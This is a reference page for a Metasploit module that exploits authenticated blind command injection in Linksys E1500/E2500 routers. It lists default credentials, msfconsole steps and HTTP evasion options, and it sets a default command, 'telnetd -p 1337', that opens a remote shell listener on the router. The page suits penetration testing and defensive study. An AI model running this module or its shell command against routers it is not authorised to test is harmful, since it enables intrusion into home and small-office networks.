Linksys E1500/E2500 Remote Command Execution - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/linksys_e1500_e2500_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Linksys E1500/E2500 Remote Command Execution
Module: auxiliary/admin/http/linksys_e1500_e2500_exec
Source code: modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb
Disclosure date: 2013-02-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

Some Linksys Routers are vulnerable to an authenticated OS command injection. Default credentials for the web interface are admin/admin or admin/password. Since it is a blind os command injection vulnerability, there is no output for the executed command. A ping command against a controlled system for can be used for testing purposes.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/linksys_e1500_e2500_exec
msf auxiliary(linksys_e1500_e2500_exec) > show targets
    ... a list of targets ...
msf auxiliary(linksys_e1500_e2500_exec) > set TARGET target-id
msf auxiliary(linksys_e1500_e2500_exec) > show options
    ... show and set options ...
msf auxiliary(linksys_e1500_e2500_exec) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/http/linksys_e1500_e2500_exec auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/linksys_e1500_e2500_exec

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show info

       Name: Linksys E1500/E2500 Remote Command Execution
     Module: auxiliary/admin/http/linksys_e1500_e2500_exec
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-02-05

Provided by:
  Michael Messner <[email protected]>

Check supported:
  No

Basic options:
  Name          Current Setting  Required  Description
  ----          ---------------  --------  -----------
  CMD           telnetd -p 1337  yes       The command to execute
  HttpPassword  password         yes       Password to login with
  HttpUsername  admin            yes       User to login with
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT         80               yes       The target port (TCP)
  SSL           false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                          no        HTTP server virtual host

Description:
  Some Linksys Routers are vulnerable to an authenticated OS command 
  injection. Default credentials for the web interface are admin/admin 
  or admin/password. Since it is a blind os command injection 
  vulnerability, there is no output for the executed command. A ping 
  command against a controlled system for can be used for testing 
  purposes.

References:
  OSVDB (89912)
  http://www.securityfocus.com/bid/57760
  https://www.exploit-db.com/exploits/24475
  http://www.s3cur1ty.de/m1adv2013-004

Module Options


This is a complete list of options available in the admin/http/linksys_e1500_e2500_exec auxiliary module:

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show options

Module options (auxiliary/admin/http/linksys_e1500_e2500_exec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CMD           telnetd -p 1337  yes       The command to execute
   HttpPassword  password         yes       Password to login with
   HttpUsername  admin            yes       User to login with
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT         80               yes       The target port (TCP)
   SSL           false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                          no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/linksys_e1500_e2500_exec auxiliary module:

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show advanced

Module advanced options (auxiliary/admin/http/linksys_e1500_e2500_exec):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/linksys_e1500_e2500_exec module can do:

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/linksys_e1500_e2500_exec auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/linksys_e1500_e2500_exec) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - No successful login possible with <USER>/<PASS>" error message:

53:	      return if (res.code == 404)
54:	
55:	      if [200, 301, 302].include?(res.code)
56:	        print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
57:	      else
58:	        print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
59:	        return
60:	      end
61:	
62:	    rescue ::Rex::ConnectionError
63:	      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")

<RHOST>:<RPORT> - Failed to connect to the web server


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:

58:	        print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
59:	        return
60:	      end
61:	
62:	    rescue ::Rex::ConnectionError
63:	      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
64:	      return
65:	    end
66:	
67:	    print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
68:	

<RHOST>:<RPORT> - Failed to connect to the web server


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - Failed to connect to the web server" error message:

88:	          "ping_times" => "5",
89:	          "traceroute_ip" => ""
90:	        }
91:	      })
92:	    rescue ::Rex::ConnectionError
93:	      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
94:	      return
95:	    end
96:	    print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
97:	    print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
98:	  end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Michael Messner <devnull[at]s3cur1ty.de>

Version


This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.